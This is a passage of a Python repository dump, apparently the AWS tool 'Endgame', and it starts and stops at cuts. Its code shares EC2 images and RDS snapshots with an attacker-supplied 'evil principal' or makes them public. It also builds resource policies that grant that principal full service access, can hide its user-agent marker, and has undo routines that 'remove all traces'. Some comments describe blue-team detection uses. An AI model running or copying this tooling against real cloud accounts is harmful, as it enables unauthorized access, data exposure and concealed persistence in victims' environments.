    "content": "import logging\nimport boto3\nimport botocore\nfrom abc import ABC\nfrom botocore.exceptions import ClientError\nfrom policy_sentry.util.arns import get_resource_path_from_arn, get_account_from_arn\nfrom endgame.exposure_via_resource_policies.common import ResourceTypes\nfrom endgame.exposure_via_sharing_apis.common import ResourceSharingApi, ResponseGetSharingApi\nfrom endgame.shared.list_resources_response import ListResourcesResponse\n\nlogger = logging.getLogger(__name__)\n\n\nclass Ec2Image(ResourceSharingApi, ABC):\n    def __init__(self, name: str, region: str, client: boto3.Session.client, current_account_id: str):\n        self.service = \"ec2-ami\"\n        self.resource_type = \"image\"\n        self.region = region\n        self.current_account_id = current_account_id\n        self.name = name\n        super().__init__(name, self.resource_type, self.service, region, client, current_account_id)\n\n    @property\n    def arn(self) -> str:\n        return f\"arn:aws:ec2:{self.region}:{self.current_account_id}:{self.resource_type}/{self.name}\"\n\n    def _get_shared_with_accounts(self) -> ResponseGetSharingApi:\n        logger.debug(\"Getting snapshot status policy for %s\" % self.arn)\n        shared_with_accounts = []\n        try:\n            # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/ec2.html#EC2.Client.describe_image_attribute\n            response = self.client.describe_image_attribute(\n                ImageId=self.name,\n                Attribute=\"launchPermission\"\n            )\n            if response.get(\"LaunchPermissions\"):\n                for launch_permission in response.get(\"LaunchPermissions\"):\n                    if launch_permission.get(\"Group\"):\n                        if launch_permission.get(\"Group\") == \"all\":\n                            shared_with_accounts.append(\"all\")\n                    if launch_permission.get(\"UserId\"):\n                        shared_with_accounts.append(launch_permission.get(\"UserId\"))\n            success = True\n        except botocore.exceptions.ClientError as error:\n            logger.debug(error)\n            success = False\n        response_message = ResponseGetSharingApi(shared_with_accounts=shared_with_accounts, success=success,\n                                                 evil_principal=\"\", victim_resource_arn=self.arn,\n                                                 resource_name=self.name, resource_type=self.resource_type,\n                                                 service=self.service,\n                                                 original_policy=shared_with_accounts,\n                                                 updated_policy=[]\n                                                 )\n        return response_message\n\n    def share(self, accounts_to_add: list, accounts_to_remove: list) -> ResponseGetSharingApi:\n        shared_with_accounts = []\n        # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/ec2.html#EC2.Client.modify_image_attribute\n        try:\n            if accounts_to_add:\n                logger.debug(f\"Sharing the AMI {self.name} with the accounts {', '.join(accounts_to_add)}\")\n                if \"all\" in accounts_to_add:\n                    self.client.modify_image_attribute(\n                        ImageId=self.name,\n                        LaunchPermission={\"Add\": [{\"Group\": \"all\"}]},\n                    )\n                else:\n                    user_ids = []\n                    for account in accounts_to_add:\n                        user_ids.append({\"UserId\": account})\n                    self.client.modify_image_attribute(\n                        ImageId=self.name,\n                        LaunchPermission={\"Add\": user_ids},\n                    )\n            if accounts_to_remove:\n                logger.debug(f\"Removing access to the AMI {self.name} from the accounts {', '.join(accounts_to_add)}\")\n                if \"all\" in accounts_to_remove:\n                    self.client.modify_image_attribute(\n                        ImageId=self.name,\n                        LaunchPermission={\"Remove\": [{\"Group\": \"all\"}]},\n                    )\n                else:\n                    user_ids = []\n                    for account in accounts_to_remove:\n                        user_ids.append({\"UserId\": account})\n                    self.client.modify_image_attribute(\n                        ImageId=self.name,\n                        LaunchPermission={\"Remove\": user_ids},\n                    )\n            shared_with_accounts = self._get_shared_with_accounts().shared_with_accounts\n            success = True\n        except botocore.exceptions.ClientError:\n            success = False\n        response_message = ResponseGetSharingApi(shared_with_accounts=shared_with_accounts, success=success,\n                                                 evil_principal=\"\", victim_resource_arn=self.arn,\n                                                 resource_name=self.name, resource_type=self.resource_type,\n                                                 service=self.service,\n                                                 original_policy=self.original_shared_with_accounts,\n                                                 updated_policy=self.original_shared_with_accounts\n                                                 )\n        return response_message\n\n    def add_myself(self, evil_principal: str, dry_run: bool = False) -> ResponseGetSharingApi:\n        \"\"\"Add your rogue principal to the AWS resource\"\"\"\n        evil_account_id = self.parse_evil_principal(evil_principal=evil_principal)\n        logger.debug(f\"Sharing {self.arn} with {evil_account_id}\")\n        shared_with_accounts = []\n        if not dry_run:\n            accounts_to_add = [evil_account_id]\n            share_response = self.share(accounts_to_add=accounts_to_add, accounts_to_remove=[])\n            shared_with_accounts = share_response.shared_with_accounts\n            success = share_response.success\n        else:\n            try:\n                # this is just to get the success message\n                tmp = self._get_shared_with_accounts()\n                success = tmp.success\n                shared_with_accounts = tmp.shared_with_accounts\n                shared_with_accounts.append(evil_account_id)\n            except botocore.exceptions.ClientError as error:\n                logger.debug(error)\n                success = False\n        response_message = ResponseGetSharingApi(shared_with_accounts=shared_with_accounts, success=success,\n                                                 evil_principal=evil_principal, victim_resource_arn=self.arn,\n                                                 resource_name=self.name, resource_type=self.resource_type,\n                                                 service=self.service,\n                                                 original_policy=self.original_shared_with_accounts,\n                                                 updated_policy=shared_with_accounts\n                                                 )\n        return response_message\n\n    def undo(self, evil_principal: str, dry_run: bool = False) -> ResponseGetSharingApi:\n        \"\"\"Remove all traces\"\"\"\n        evil_account_id = self.parse_evil_principal(evil_principal=evil_principal)\n        logger.debug(f\"Removing {evil_account_id} access to {self.arn}\")\n        shared_with_accounts = []\n        if not dry_run:\n            accounts_to_remove = [evil_account_id]\n            share_response = self.share(accounts_to_add=[], accounts_to_remove=accounts_to_remove)\n            shared_with_accounts = share_response.shared_with_accounts\n            success = share_response.success\n        else:\n            shared_with_accounts = self.shared_with_accounts\n            if evil_account_id in shared_with_accounts:\n                shared_with_accounts.remove(evil_account_id)\n            success = True\n        response_message = ResponseGetSharingApi(shared_with_accounts=shared_with_accounts, success=success,\n                                                 evil_principal=evil_principal, victim_resource_arn=self.arn,\n                                                 resource_name=self.name, resource_type=self.resource_type,\n                                                 service=self.service,\n                                                 original_policy=self.original_shared_with_accounts,\n                                                 updated_policy=shared_with_accounts\n                                                 )\n        return response_message\n\n    def parse_evil_principal(self, evil_principal: str) -> str:\n        if \":\" in evil_principal:\n            evil_account_id = get_account_from_arn(evil_principal)\n        # RDS requires publicly shared snapshots to be supplied via the value \"all\"\n        elif evil_principal == \"*\":\n            evil_account_id = \"all\"\n        # Otherwise, the evil_principal is an account ID\n        else:\n            evil_account_id = evil_principal\n        return evil_account_id\n\n\nclass Ec2Images(ResourceTypes):\n    def __init__(self, client: boto3.Session.client, current_account_id: str, region: str):\n        super().__init__(client, current_account_id, region)\n        self.service = \"ec2-ami\"\n        self.resource_type = \"image\"\n\n    @property\n    def resources(self) -> [ListResourcesResponse]:\n        \"\"\"Get a list of these resources\"\"\"\n        resources = []\n        response = self.client.describe_images(Owners=[self.current_account_id])\n        these_resources = response[\"Images\"]\n        for resource in these_resources:\n            image_id = resource.get(\"ImageId\")\n            name = resource.get(\"Name\")\n            volume_id = resource.get(\"VolumeId\")\n            arn = f\"arn:aws:ec2:{self.region}:{self.current_account_id}:{self.resource_type}/{image_id}\"\n            list_resources_response = ListResourcesResponse(\n                service=self.service, account_id=self.current_account_id, arn=arn, region=self.region,\n                resource_type=self.resource_type, name=image_id)\n            resources.append(list_resources_response)\n        return resources\n"
  },
  {
    "path": "endgame/exposure_via_sharing_apis/rds_snapshots.py",
    "content": "import logging\nimport boto3\nimport botocore\nfrom abc import ABC\nfrom botocore.exceptions import ClientError\nfrom policy_sentry.util.arns import get_resource_path_from_arn, get_account_from_arn\nfrom endgame.exposure_via_resource_policies.common import ResourceTypes\nfrom endgame.exposure_via_sharing_apis.common import ResourceSharingApi, ResponseGetSharingApi\nfrom endgame.shared.list_resources_response import ListResourcesResponse\n\nlogger = logging.getLogger(__name__)\n\n\nclass RdsSnapshot(ResourceSharingApi, ABC):\n    def __init__(self, name: str, region: str, client: boto3.Session.client, current_account_id: str):\n        self.service = \"rds\"\n        self.resource_type = \"snapshot\"\n        self.region = region\n        self.current_account_id = current_account_id\n        self.name = name\n        super().__init__(name, self.resource_type, self.service, region, client, current_account_id)\n\n    @property\n    def arn(self) -> str:\n        return f\"arn:aws:{self.service}:{self.region}:{self.current_account_id}:{self.resource_type}/{self.name}\"\n\n    def _get_shared_with_accounts(self) -> ResponseGetSharingApi:\n        logger.debug(\"Getting snapshot status policy for %s\" % self.arn)\n        shared_with_accounts = []\n        try:\n            response = self.client.describe_db_snapshot_attributes(\n                DBSnapshotIdentifier=self.name\n            )\n            attributes = response.get(\"DBSnapshotAttributesResult\").get(\"DBSnapshotAttributes\")\n            for attribute in attributes:\n                if attribute.get(\"AttributeName\") == \"restore\":\n                    shared_with_accounts.extend(attribute.get(\"AttributeValues\"))\n                    break\n            success = True\n        except botocore.exceptions.ClientError:\n            success = False\n        response_message = ResponseGetSharingApi(shared_with_accounts=shared_with_accounts, success=success,\n                                                 evil_principal=\"\", victim_resource_arn=self.arn,\n                                                 resource_name=self.name, resource_type=self.resource_type,\n                                                 service=self.service,\n                                                 original_policy=shared_with_accounts,\n                                                 updated_policy=[]\n                                                 )\n        return response_message\n\n    def share(self, accounts_to_add: list, accounts_to_remove: list) -> ResponseGetSharingApi:\n        shared_with_accounts = []\n        if accounts_to_add:\n            logger.debug(f\"Sharing the snapshot {self.name} with the accounts {', '.join(accounts_to_add)}\")\n        if accounts_to_remove:\n            logger.debug(f\"Removing access to snapshot {self.name} for the accounts {', '.join(accounts_to_add)}\")\n        try:\n            snapshot_attributes_response = self.client.modify_db_snapshot_attribute(\n                DBSnapshotIdentifier=self.name,\n                AttributeName='restore',\n                ValuesToAdd=accounts_to_add,\n                ValuesToRemove=accounts_to_remove\n            )\n            attributes = snapshot_attributes_response.get(\"DBSnapshotAttributesResult\").get(\"DBSnapshotAttributes\")\n            for attribute in attributes:\n                if attribute.get(\"AttributeName\") == \"restore\":\n                    shared_with_accounts.extend(attribute.get(\"AttributeValues\"))\n                    break\n            success = True\n        except botocore.exceptions.ClientError:\n            success = False\n        response_message = ResponseGetSharingApi(shared_with_accounts=shared_with_accounts, success=success,\n                                                 evil_principal=\"\", victim_resource_arn=self.arn,\n                                                 resource_name=self.name, resource_type=self.resource_type,\n                                                 service=self.service,\n                                                 original_policy=self.original_shared_with_accounts,\n                                                 updated_policy=self.original_shared_with_accounts\n                                                 )\n        return response_message\n\n    def add_myself(self, evil_principal: str, dry_run: bool = False) -> ResponseGetSharingApi:\n        \"\"\"Add your rogue principal to the AWS resource\"\"\"\n        evil_account_id = self.parse_evil_principal(evil_principal=evil_principal)\n        logger.debug(f\"Sharing {self.arn} with {evil_account_id}\")\n        shared_with_accounts = []\n        if not dry_run:\n            accounts_to_add = [evil_account_id]\n            share_response = self.share(accounts_to_add=accounts_to_add, accounts_to_remove=[])\n            shared_with_accounts = share_response.shared_with_accounts\n            success = share_response.success\n        else:\n            try:\n                # this is just to get the success message\n                tmp = self._get_shared_with_accounts()\n                success = tmp.success\n                shared_with_accounts = tmp.shared_with_accounts\n                shared_with_accounts.append(evil_account_id)\n            except botocore.exceptions.ClientError as error:\n                logger.debug(error)\n                success = False\n        response_message = ResponseGetSharingApi(shared_with_accounts=shared_with_accounts, success=success,\n                                                 evil_principal=evil_principal, victim_resource_arn=self.arn,\n                                                 resource_name=self.name, resource_type=self.resource_type,\n                                                 service=self.service,\n                                                 original_policy=self.original_shared_with_accounts,\n                                                 updated_policy=shared_with_accounts\n                                                 )\n        return response_message\n\n    def undo(self, evil_principal: str, dry_run: bool = False) -> ResponseGetSharingApi:\n        \"\"\"Remove all traces\"\"\"\n        evil_account_id = self.parse_evil_principal(evil_principal=evil_principal)\n        logger.debug(f\"Removing {evil_account_id} access to {self.arn}\")\n        shared_with_accounts = []\n        if not dry_run:\n            accounts_to_remove = [evil_account_id]\n            share_response = self.share(accounts_to_add=[], accounts_to_remove=accounts_to_remove)\n            shared_with_accounts = share_response.shared_with_accounts\n            success = share_response.success\n        else:\n            shared_with_accounts = self.shared_with_accounts\n            if evil_account_id in shared_with_accounts:\n                shared_with_accounts.remove(evil_account_id)\n            success = True\n        response_message = ResponseGetSharingApi(shared_with_accounts=shared_with_accounts, success=success,\n                                                 evil_principal=evil_principal, victim_resource_arn=self.arn,\n                                                 resource_name=self.name, resource_type=self.resource_type,\n                                                 service=self.service,\n                                                 original_policy=self.original_shared_with_accounts,\n                                                 updated_policy=shared_with_accounts\n                                                 )\n        return response_message\n\n    def parse_evil_principal(self, evil_principal: str) -> str:\n        if \":\" in evil_principal:\n            evil_account_id = get_account_from_arn(evil_principal)\n        # RDS requires publicly shared snapshots to be supplied via the value \"all\"\n        elif evil_principal == \"*\":\n            evil_account_id = \"all\"\n        # Otherwise, the evil_principal is an account ID\n        else:\n            evil_account_id = evil_principal\n        return evil_account_id\n\n\nclass RdsSnapshots(ResourceTypes):\n    def __init__(self, client: boto3.Session.client, current_account_id: str, region: str):\n        super().__init__(client, current_account_id, region)\n        self.service = \"rds\"\n        self.resource_type = \"snapshot\"\n\n    @property\n    def resources(self) -> [ListResourcesResponse]:\n        \"\"\"Get a list of these resources\"\"\"\n        resources = []\n        paginator = self.client.get_paginator(\"describe_db_snapshots\")\n        page_iterator = paginator.paginate()\n        for page in page_iterator:\n            these_resources = page[\"DBSnapshots\"]\n            for resource in these_resources:\n                snapshot_identifier = resource.get(\"DBSnapshotIdentifier\")\n                instance_identifier = resource.get(\"DBInstanceIdentifier\")\n                arn = resource.get(\"DBSnapshotArn\")\n                snapshot_name = get_resource_path_from_arn(arn)\n                # arn:${Partition}:rds:${Region}:${Account}:snapshot:${SnapshotName}\n                list_resources_response = ListResourcesResponse(\n                    service=self.service, account_id=self.current_account_id, arn=arn, region=self.region,\n                    resource_type=self.resource_type, name=snapshot_name)\n                resources.append(list_resources_response)\n        return resources\n"
  },
  {
    "path": "endgame/shared/__init__.py",
    "content": ""
  },
  {
    "path": "endgame/shared/aws_login.py",
    "content": "import os\nimport logging\nimport boto3\nfrom botocore.config import Config\nfrom endgame.shared import constants\nlogger = logging.getLogger(__name__)\n\n\ndef get_boto3_client(profile, service: str, region=\"us-east-1\", cloak: bool = False) -> boto3.Session.client:\n    logging.getLogger('botocore').setLevel(logging.CRITICAL)\n    session_data = {\"region_name\": region}\n    if profile:\n        session_data[\"profile_name\"] = profile\n    session = boto3.Session(**session_data)\n\n    if cloak:\n        config = Config(connect_timeout=5, retries={\"max_attempts\": 10})\n    else:\n        config = Config(connect_timeout=5, retries={\"max_attempts\": 10}, user_agent=constants.USER_AGENT_INDICATOR)\n    if os.environ.get('LOCALSTACK_ENDPOINT_URL'):\n        client = session.client(service, config=config, endpoint_url=os.environ.get('LOCALSTACK_ENDPOINT_URL'))\n    else:\n        client = session.client(service, config=config, endpoint_url=os.environ.get('LOCALSTACK_ENDPOINT_URL'))\n    logger.debug(f\"{client.meta.endpoint_url} in {client.meta.region_name}: boto3 client login successful\")\n    return client\n\n\ndef get_current_account_id(sts_client: boto3.Session.client) -> str:\n    response = sts_client.get_caller_identity()\n    current_account_id = response.get(\"Account\")\n    return current_account_id\n\n\ndef get_available_regions(service: str):\n    regions = boto3.session.Session().get_available_regions(service)\n    logger.debug(\"The service %s does not have available regions. Returning us-east-1 as default\")\n    if not regions:\n        regions = [\"us-east-1\"]\n    return regions\n"
  },
  {
    "path": "endgame/shared/constants.py",
    "content": "import copy\nSUPPORTED_AWS_SERVICES = [\n  \"all\",\n  \"acm-pca\",\n  \"ec2-ami\",\n  \"ebs\",\n  \"ecr\",\n  \"efs\",\n  \"elasticsearch\",\n  \"glacier\",\n  \"iam\",\n  \"kms\",\n  \"lambda\",\n  \"lambda-layer\",\n  \"cloudwatch\",\n  \"rds\",\n  \"s3\",\n  \"secretsmanager\",\n  \"ses\",\n  \"sns\",\n  \"sqs\",\n]\nEMPTY_POLICY = {\"Version\": \"2012-10-17\", \"Statement\": []}\nEC2_ASSUME_ROLE_POLICY = {\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Action\": \"sts:AssumeRole\",\n      \"Principal\": {\n        \"Service\": \"ec2.amazonaws.com\"\n      },\n      \"Effect\": \"Allow\",\n      \"Sid\": \"\"\n    }\n  ]\n}\nLAMBDA_ASSUME_ROLE_POLICY = {\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"Service\": \"lambda.amazonaws.com\"\n      },\n      \"Action\": \"sts:AssumeRole\"\n    }\n  ]\n}\n\n# THIS VARIABLE IS KEY. Let's say you are doing a blue team test, and you are trying to see if your team picked up on\n#   any modifications that were made using this tool. You can loop through policies that have this SID value to see how\n#   accurate your detection mechanisms were at picking up vulnerable resource-based policies like this.\n# Any IAM Policy with a statement added from this tool will include the value of this variable.\nSID_SIGNATURE = \"Endgame\"\nALLOW_CURRENT_ACCOUNT_SID_SIGNATURE = \"AllowCurrentAccount\"\n# This can be used by blue team to identify API calls in CloudTrail executed by this tool.\nUSER_AGENT_INDICATOR = \"HotDogsAreSandwiches\"\n\n\ndef get_empty_policy():\n    \"\"\"Return a copy of an empty policy\"\"\"\n    return copy.deepcopy(EMPTY_POLICY)\n"
  },
  {
    "path": "endgame/shared/list_resources_response.py",
    "content": "\"\"\"\nWhen we list resources under a service, instead of returning an ARN or a name, return this object that collects both\nand other metadata. Gives us more flexibility.\n\"\"\"\n\n\nclass ListResourcesResponse:\n    def __init__(self, service: str, arn: str, name: str, resource_type: str, account_id: str, region: str, note: str = None):\n        self.service = service\n        self.arn = arn\n        self.name = name\n        self.note = note\n        self.account_id = account_id\n        self.region = region\n        self.resource_type = resource_type\n"
  },
  {
    "path": "endgame/shared/policy_document.py",
    "content": "import json\nimport copy\nfrom endgame.shared.statement_detail import StatementDetail\nfrom endgame.shared import constants\n\n\nclass PolicyDocument:\n    \"\"\"\n    Holds a policy document\n    \"\"\"\n    def __init__(\n            self,\n            policy: dict,\n            service: str,\n            override_action: str = None,\n            include_resource_block: bool = True,\n            override_resource_block: str = None,\n            override_account_id_instead_of_principal: bool = False\n    ):\n        statement_structure = policy.get(\"Statement\", [])\n        self.policy = policy\n        self.original_policy = copy.deepcopy(policy)\n\n        self.service = service\n        self.override_action = override_action\n        self.include_resource_block = include_resource_block\n        self.override_resource_block = override_resource_block\n        self.override_account_id_instead_of_principal = override_account_id_instead_of_principal\n\n        self.statements = self._statements(statement_structure)\n\n    def __str__(self):\n        return json.dumps(self.json)\n\n    def __repr__(self):\n        return json.dumps(self.json)\n\n    def _statements(self, statement_structure) -> [StatementDetail]:\n        # Statement can be a list or a string, but we prefer strings for uniformity\n        if not isinstance(statement_structure, list):\n            statement_structure = [statement_structure]  # pragma: no cover\n        statements = []\n        for statement in statement_structure:\n            statements.append(StatementDetail(\n                statement=statement,\n                override_account_id_instead_of_principal=self.override_account_id_instead_of_principal,\n                override_action=self.override_action,\n                service=self.service\n            ))\n        return statements\n\n    @property\n    def sids(self):\n        statement_ids = []\n        for statement in self.statements:\n            statement_ids.append(statement.sid)\n        return statement_ids\n\n    @property\n    def json(self):\n        \"\"\"Return the Policy in JSON\"\"\"\n        policy = {\n            \"Version\": \"2012-10-17\",\n            \"Statement\": []\n        }\n        for statement in self.statements:\n            policy[\"Statement\"].append(json.loads(statement.__str__()))\n        return policy\n\n    def statement_allow_account_id(\n            self,\n            account_id: str,\n            resource_arn: str = \"*\",\n            sid_name: str = \"AllowCurrentAccount\",\n            principal: str = None,\n    ) -> dict:\n\n        if self.override_action:\n            if \",\" in self.override_action:\n                action_block = self.override_action.split(\",\")\n            else:\n                action_block = self.override_action\n        else:\n            # If override action is not supplied, just give full access to the whole service 🤡\n            action_block = [f\"{self.service}:*\"]\n\n        if not principal:\n            principal = f\"arn:aws:iam::{account_id}:root\"\n\n        statement = {\n            \"Sid\": sid_name,\n            \"Action\": action_block,\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": [\n                    principal\n                    # f\"arn:aws:iam::{current_account_id}:root\"\n                ]\n            },\n        }\n        if self.include_resource_block:\n            statement[\"Resource\"] = get_resource_from_override_settings(\n                resource_arn=resource_arn, override_resource_block=self.override_resource_block)\n        allow_current_account = StatementDetail(\n                statement=statement,\n                override_account_id_instead_of_principal=self.override_account_id_instead_of_principal,\n                override_action=self.override_action,\n                service=self.service\n            )\n        return json.loads(allow_current_account.__str__())\n\n    def policy_plus_evil_principal(\n            self,\n            victim_account_id: str,\n            evil_principal: str,\n            resource_arn: str = \"*\",\n    ) -> dict:\n        policy = {\n            \"Version\": \"2012-10-17\",\n            \"Statement\": []\n        }\n\n        # Add AllowCurrentAccount to statements if there are no statements\n        if len(self.sids) == 0 or constants.ALLOW_CURRENT_ACCOUNT_SID_SIGNATURE not in self.sids:\n            allow_current_account_statement = self.statement_allow_account_id(\n                account_id=victim_account_id,\n                resource_arn=resource_arn,\n            )\n            self.statements.append(StatementDetail(\n                statement=allow_current_account_statement,\n                service=self.service,\n                override_action=self.override_action,\n                override_account_id_instead_of_principal=self.override_account_id_instead_of_principal\n            ))\n        # If Endgame is not there, add it.\n        if constants.SID_SIGNATURE not in self.sids:\n            evil_statement = self.statement_allow_account_id(\n                account_id=victim_account_id,\n                principal=evil_principal,\n                resource_arn=resource_arn,\n                sid_name=constants.SID_SIGNATURE\n            )\n            self.statements.append(StatementDetail(\n                statement=evil_statement,\n                service=self.service,\n                override_action=self.override_action,\n                override_account_id_instead_of_principal=self.override_account_id_instead_of_principal\n            ))\n\n        for statement in self.statements:\n            # Set resources\n            if self.include_resource_block:\n                statement.resources = get_resource_from_override_settings(\n                    resource_arn=resource_arn, override_resource_block=self.override_resource_block)\n            policy[\"Statement\"].append(json.loads(statement.__str__()))\n        return policy\n\n    def policy_minus_evil_principal(\n            self,\n            victim_account_id: str,\n            evil_principal: str,\n            resource_arn: str = \"*\",\n    ):\n        policy = {\n            \"Version\": \"2012-10-17\",\n            \"Statement\": []\n        }\n\n        # Add AllowCurrentAccount to statements if there are no statements\n        if len(self.sids) == 0:\n            allow_current_account_statement = self.statement_allow_account_id(\n                account_id=victim_account_id,\n                resource_arn=resource_arn\n            )\n            self.statements.append(StatementDetail(\n                statement=allow_current_account_statement,\n                service=self.service,\n                override_action=self.override_action,\n                override_account_id_instead_of_principal=self.override_account_id_instead_of_principal\n            ))\n\n        for statement in self.statements:\n            # Skip statements that include the evil principal\n            if statement.sid == constants.SID_SIGNATURE:\n                continue\n            # Set resources\n            if self.include_resource_block:\n                statement.resources = get_resource_from_override_settings(\n                    resource_arn=resource_arn, override_resource_block=self.override_resource_block)\n            policy[\"Statement\"].append(json.loads(statement.__str__()))\n        return policy\n\n\ndef get_resource_from_override_settings(resource_arn: str, override_resource_block: str) -> list:\n    if not override_resource_block:\n        resource_block = [resource_arn, f\"{resource_arn}/*\"]\n    else:\n        if \",\" in override_resource_block:\n            resource_block = override_resource_block.split(\",\")\n        else:\n            resource_block = override_resource_block\n    return resource_block\n"
  },
  {
    "path": "endgame/shared/resource_results.py",
    "content": "import logging\nimport botocore\nfrom botocore.exceptions import ClientError\nfrom endgame.shared import utils, constants\nfrom endgame.shared.aws_login import get_boto3_client, get_current_account_id, get_available_regions\nfrom endgame.shared.list_resources_response import ListResourcesResponse\nfrom endgame.exposure_via_resource_policies import glacier_vault, sqs, lambda_layer, lambda_function, kms, \\\n    cloudwatch_logs, efs, s3, sns, iam, ecr, secrets_manager, ses, elasticsearch, acm_pca\nfrom endgame.exposure_via_sharing_apis import rds_snapshots, ebs_snapshots, ec2_amis\n\nlogger = logging.getLogger(__name__)\n\n\nclass ResourceResults:\n    \"\"\"A list of resources across all services\"\"\"\n\n    def __init__(self, user_provided_service: str, user_provided_region: str,\n                 current_account_id: str, excluded_names: list = None, excluded_services: list = None, profile: str = None,\n                 cloak: bool = False):\n\n        self.user_provided_service = user_provided_service\n        self.user_provided_region = user_provided_region\n        self.profile = profile\n        self.current_account_id = current_account_id\n        self.cloak = cloak\n        if excluded_names:\n            self.excluded_names = excluded_names\n        else:\n            self.excluded_names = []\n        if excluded_services:\n            self.excluded_services = excluded_services\n        else:\n            self.excluded_services = []\n        self.resources = self._resources()\n\n    def _resources(self) -> [ListResourcesResponse]:\n        \"\"\"Get all the resources from all specified services from all specified regions\"\"\"\n        resources = []\n        if self.user_provided_service == \"all\":\n            for supported_service in constants.SUPPORTED_AWS_SERVICES:\n                if supported_service not in self.excluded_services:\n                    if supported_service != \"all\":\n                        logger.info(\"Creating a list of resources for %s\" % supported_service)\n                        service_resources = ServiceResourcesMultiRegion(user_provided_service=supported_service,\n                                                                        user_provided_region=self.user_provided_region,\n                                                                        current_account_id=self.current_account_id,\n                                                                        profile=self.profile,\n                                                                        cloak=self.cloak)\n                        resources.extend(service_resources.resources)\n        else:\n            logger.info(\"Combing through resources for %s\" % self.user_provided_service)\n            service_resources = ServiceResourcesMultiRegion(user_provided_service=self.user_provided_service,\n                                                            user_provided_region=self.user_provided_region,\n                                                            current_account_id=self.current_account_id,\n                                                            profile=self.profile,\n                                                            cloak=self.cloak)\n            resources.extend(service_resources.resources)\n        return resources\n\n    def arns(self) -> [str]:\n        \"\"\"Get all the resource ARNs from all specified services from all specified regions\"\"\"\n        arns = []\n        if self.user_provided_service == \"all\":\n            for supported_service in constants.SUPPORTED_AWS_SERVICES:\n                if supported_service not in self.excluded_services:\n                    if supported_service != \"all\":\n                        service_resources = ServiceResourcesMultiRegion(user_provided_service=supported_service,\n                                                                        user_provided_region=self.user_provided_region,\n                                                                        current_account_id=self.current_account_id,\n                                                                        profile=self.profile,\n                                                                        cloak=self.cloak)\n                        arns.extend(service_resources.arns)\n        else:\n            service_resources = ServiceResourcesMultiRegion(user_provided_service=self.user_provided_service,\n                                                            user_provided_region=self.user_provided_region,\n                                                            current_account_id=self.current_account_id,\n                                                            profile=self.profile,\n                                                            cloak=self.cloak)\n            arns.extend(service_resources.arns)\n        return arns\n\n\nclass ServiceResourcesMultiRegion:\n    def __init__(\n            self,\n            user_provided_service: str,\n            user_provided_region: str,\n            current_account_id: str,\n            profile: str = None,\n            cloak: bool = False\n    ):\n        self.user_provided_service = user_provided_service\n        self.boto_service = utils.get_service_translation(provided_service=user_provided_service)\n        self.user_provided_region = user_provided_region\n        self.current_account_id = current_account_id\n        self.profile = profile\n        self.cloak = cloak\n        self.regions = self._regions()\n        # Save the name of the service for boto3 usage\n        self.resources = self._resources()\n\n    def _regions(self) -> list:\n        \"\"\"List of regions to list things for.\"\"\"\n        if self.user_provided_region == \"all\":\n            regions = get_available_regions(self.boto_service)\n        else:\n            regions = [self.user_provided_region]\n        return regions\n\n    def _resources(self) -> [ListResourcesResponse]:\n        \"\"\"Get all the resources within specified regions\"\"\"\n        resources = []\n        for region in self.regions:\n            logger.debug(f\"Listing resources for {self.user_provided_service} in {region}\")\n            try:\n                region_resources = ServiceResourcesSingleRegion(user_provided_service=self.user_provided_service,\n                                                                region=region,\n                                                                current_account_id=self.current_account_id,\n                                                                profile=self.profile,\n                                                                cloak=self.cloak)\n                resources.extend(region_resources.resources.resources)\n            except botocore.exceptions.ClientError as error:\n                logger.debug(f\"The service {self.boto_service} might not exist in the region {region}. Error: {error}\")\n        return resources\n\n    @property\n    def arns(self) -> [str]:\n        arns = []\n        for resource in self.resources:\n            arns.append(resource.arn)\n        return arns\n\n\nclass ServiceResourcesSingleRegion:\n    \"\"\"A list of all the resources under a particular service in a particular region\"\"\"\n\n    def __init__(\n            self,\n            user_provided_service: str,\n            region: str,\n            current_account_id: str,\n            profile: str = None,\n            cloak: bool = False\n    ):\n        self.user_provided_service = user_provided_service\n        # Save the name of the service for boto3 usage\n        self.boto_service = utils.get_service_translation(provided_service=user_provided_service)\n        self.region = region\n        self.current_account_id = current_account_id\n        self.client = get_boto3_client(profile=profile, service=self.boto_service, region=self.region, cloak=cloak)\n        self.resources = self._resources()\n\n    @property\n    def arns(self) -> [str]:\n        arns = []\n        results = self.resources\n        for resource in results.resources:\n            arns.append(resource.arn)\n        return arns\n\n    def _resources(self) -> [ListResourcesResponse]:\n        resources = None\n        if self.user_provided_service == \"acm-pca\":\n            resources = acm_pca.AcmPrivateCertificateAuthorities(client=self.client,\n                                                                 current_account_id=self.current_account_id,\n                                                                 region=self.region)\n        elif self.user_provided_service == \"ecr\":\n            resources = ecr.EcrRepositories(client=self.client, current_account_id=self.current_account_id,\n                                            region=self.region)\n        elif self.user_provided_service == \"efs\":\n            resources = efs.ElasticFileSystems(client=self.client, current_account_id=self.current_account_id,\n                                               region=self.region)\n        elif self.user_provided_service == \"elasticsearch\":\n            resources = elasticsearch.ElasticSearchDomains(client=self.client,\n                                                           current_account_id=self.current_account_id,\n                                                           region=self.region)\n        elif self.user_provided_service == \"glacier\":\n            resources = glacier_vault.GlacierVaults(client=self.client, current_account_id=self.current_account_id,\n                                                    region=self.region)\n        elif self.user_provided_service == \"iam\":\n            resources = iam.IAMRoles(client=self.client, current_account_id=self.current_account_id, region=self.region)\n        elif self.user_provided_service == \"kms\":\n            resources = kms.KmsKeys(client=self.client, current_account_id=self.current_account_id, region=self.region)\n        elif self.user_provided_service == \"lambda\":\n            resources = lambda_function.LambdaFunctions(client=self.client, current_account_id=self.current_account_id,\n                                                        region=self.region)\n        elif self.user_provided_service == \"lambda-layer\":\n            resources = lambda_layer.LambdaLayers(client=self.client, current_account_id=self.current_account_id,\n                                                  region=self.region)\n        elif self.user_provided_service == \"cloudwatch\":\n            resources = cloudwatch_logs.CloudwatchResourcePolicies(client=self.client,\n                                                                   current_account_id=self.current_account_id,\n                                                                   region=self.region)\n        elif self.user_provided_service == \"s3\":\n            resources = s3.S3Buckets(client=self.client, current_account_id=self.current_account_id, region=self.region)\n        elif self.user_provided_service == \"ses\":\n            resources = ses.SesIdentityPolicies(client=self.client, current_account_id=self.current_account_id,\n                                                region=self.region)\n        elif self.user_provided_service == \"sns\":\n            resources = sns.SnsTopics(client=self.client, current_account_id=self.current_account_id,\n                                      region=self.region)\n        elif self.user_provided_service == 